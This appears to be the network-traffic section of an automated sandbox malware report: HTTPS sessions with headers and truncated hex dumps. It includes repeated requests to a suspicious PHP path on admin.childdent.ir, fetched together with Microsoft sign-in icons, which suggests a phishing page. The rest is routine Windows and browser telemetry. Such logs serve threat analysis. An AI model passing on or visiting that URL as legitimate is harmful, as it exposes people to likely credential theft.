Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49730	172.245.92.82	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:30 UTC	371	OUT	GET /installer/host2.4/5777440.php HTTP/1.1 Host: admin.childdent.ir Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:30 UTC	475	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 38 20 4e 6f 76 20 32 30 32 33 20 31 35 3a 35 35 3a 33 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 43 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 41 63 63 Data Ascii: HTTP/1.1 200 OKDate: Tue, 28 Nov 2023 15:55:30 GMTServer: ApacheExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAcc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49731	13.107.246.40	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:30 UTC	422	OUT	GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:30 UTC	753	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 38 20 4e 6f 76 20 32 30 32 33 20 31 35 3a 35 35 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 31 37 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 31 37 20 4a 61 6e 20 32 30 32 30 20 31 39 3a 32 38 3a 33 39 20 47 4d 54 0d 0a 45 54 61 67 3a 20 30 78 38 44 37 39 42 38 33 37 34 39 36 32 Data Ascii: HTTP/1.1 200 OKDate: Tue, 28 Nov 2023 15:55:30 GMTContent-Type: image/svg+xmlContent-Length: 1173Connection: closeCache-Control: public, max-age=31536000Content-Encoding: gzipLast-Modified: Fri, 17 Jan 2020 19:28:39 GMTETag: 0x8D79B8374962
2023-11-28 15:55:30 UTC	1173	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 56 cb 6e 24 37 0c fc 95 c1 e4 da ad 69 52 d4 2b b0 0d 4c 4e 39 ac 6f 41 0e b9 35 b2 b3 1e 03 8e bd b3 6e 78 f6 f3 53 14 a5 de 6c dc 86 dd 25 5b d4 83 2a 16 29 dd bc be 3d ec be ff f3 f4 fc 7a bb 3f 2f cb d7 5f 0f 87 eb f5 ea ae de bd 7c 7b 38 f0 34 4d 07 8c d8 ef ae 8f 9f 97 f3 ed 5e f2 7e 77 3e 3d 3e 9c 17 fb fb ed f1 74 fd ed e5 fb ed 7e da 4d 3b c9 f8 dd df dd 2c 8f cb d3 e9 6e 7e 7d 3d 2d af 37 07 fb ef e6 db e9 ef e5 a3 55 be 3c 3e 3d dd ee 9f 5f 9e 4f fb c3 dd cd d7 79 39 ef 3e df ee ef fd e4 84 79 e0 e2 a6 c2 b3 77 52 fc 60 38 e1 87 06 72 9e c5 71 24 f4 fa dc b1 db c8 b3 4b 52 2e ce c7 58 bf cc c9 a5 14 16 57 a4 b8 1c e4 e2 24 67 27 22 e8 20 57 3c cf c5 95 24 83 a1 2d e3 32 95 81 8e 18 12 68 30 34 83 4f 83 17 97 7c Data Ascii: uVn$7iR+LN9oA5nxSl%[*)=z?/_\|{84M^~w>=>t~M;,n~}=-7U<>=_Oy9>ywR`8rq$KR.XW$g'" W<$-2h04O\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49732	13.107.246.40	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:30 UTC	421	OUT	GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:30 UTC	752	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 38 20 4e 6f 76 20 32 30 32 33 20 31 35 3a 35 35 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 39 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 31 37 20 4a 61 6e 20 32 30 32 30 20 31 39 3a 32 38 3a 33 39 20 47 4d 54 0d 0a 45 54 61 67 3a 20 30 78 38 44 37 39 42 38 33 37 34 43 45 37 46 Data Ascii: HTTP/1.1 200 OKDate: Tue, 28 Nov 2023 15:55:30 GMTContent-Type: image/svg+xmlContent-Length: 199Connection: closeCache-Control: public, max-age=31536000Content-Encoding: gzipLast-Modified: Fri, 17 Jan 2020 19:28:39 GMTETag: 0x8D79B8374CE7F
2023-11-28 15:55:30 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49733	172.245.92.82	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:31 UTC	417	OUT	GET /installer/host2.4/5777440.php HTTP/1.1 Host: admin.childdent.ir Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2m79b3r1ljshhpbik0buhf0r67
2023-11-28 15:55:31 UTC	417	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 38 20 4e 6f 76 20 32 30 32 33 20 31 35 3a 35 35 3a 33 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 43 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 41 63 63 Data Ascii: HTTP/1.1 200 OKDate: Tue, 28 Nov 2023 15:55:31 GMTServer: ApacheExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAcc

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49742	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:40 UTC	2148	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2483 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1701186908082&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF
2023-11-28 15:55:40 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2023-11-28 15:55:40 UTC	2482	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2023-11-28 15:55:40 UTC	476	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 34 20 4e 6f 20 43 6f 6e 74 65 6e 74 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 70 74 2d 43 48 3a 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 0d 0a 58 2d 4d 53 45 64 67 65 2d 52 65 66 3a 20 52 65 Data Ascii: HTTP/1.1 204 No ContentAccess-Control-Allow-Origin: *Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionX-MSEdge-Ref: Re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49739	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:40 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+dvK68xmpkvnVTl&MD=lsE+SdFr HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2023-11-28 15:55:40 UTC	560	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 4d 6f 6e 2c 20 30 31 20 4a 61 6e 20 30 30 30 31 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 58 41 6f 70 61 7a 56 30 30 58 44 57 6e 4a 43 77 6b 6d 45 57 52 76 36 4a 6b 62 6a 52 41 39 51 53 53 5a 32 2b 65 2f 33 4d 7a 45 6b 3d 5f 32 38 38 30 22 0d 0a 4d 53 2d 43 6f 72 72 65 6c 61 74 69 6f 6e 49 64 3a 20 34 36 30 33 61 62 66 64 2d 33 39 39 38 2d 34 61 62 34 2d Data Ascii: HTTP/1.1 200 OKCache-Control: no-cachePragma: no-cacheContent-Type: application/octet-streamExpires: -1Last-Modified: Mon, 01 Jan 0001 00:00:00 GMTETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880"MS-CorrelationId: 4603abfd-3998-4ab4-
2023-11-28 15:55:40 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2023-11-28 15:55:40 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49747	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:56:18 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+dvK68xmpkvnVTl&MD=lsE+SdFr HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2023-11-28 15:56:18 UTC	560	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 4d 6f 6e 2c 20 30 31 20 4a 61 6e 20 30 30 30 31 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 4d 78 31 52 6f 4a 48 2f 71 45 77 70 57 66 4b 6c 6c 78 37 73 62 73 6c 32 38 41 75 45 52 7a 35 49 59 64 63 73 76 74 54 4a 63 67 4d 3d 5f 32 31 36 30 22 0d 0a 4d 53 2d 43 6f 72 72 65 6c 61 74 69 6f 6e 49 64 3a 20 36 65 66 30 61 34 61 33 2d 66 31 35 37 2d 34 39 36 64 2d Data Ascii: HTTP/1.1 200 OKCache-Control: no-cachePragma: no-cacheContent-Type: application/octet-streamExpires: -1Last-Modified: Mon, 01 Jan 0001 00:00:00 GMTETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160"MS-CorrelationId: 6ef0a4a3-f157-496d-
2023-11-28 15:56:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2023-11-28 15:56:18 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49752	172.253.115.100	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:56:51 UTC	449	OUT	GET /tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=00000000000000000000000000000000000000007CAD7E651E HTTP/1.1 Host: clients1.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br
2023-11-28 15:56:51 UTC	817	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 73 63 72 69 70 74 2d 73 72 63 20 27 72 65 70 6f 72 74 2d 73 61 6d 70 6c 65 27 20 27 6e 6f 6e 63 65 2d 47 43 64 46 44 4b 6b 4b 67 42 53 76 44 33 5a 6d 56 61 42 53 4d 77 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 73 74 72 69 63 74 2d 64 79 6e 61 6d 69 63 27 20 68 74 74 70 73 3a 20 68 74 74 70 3a 3b 6f 62 6a 65 63 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 72 65 70 6f 72 74 2d 75 72 69 20 68 74 74 70 73 3a 2f 2f 63 73 70 2e 77 69 74 68 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 63 73 70 2f 64 6f 77 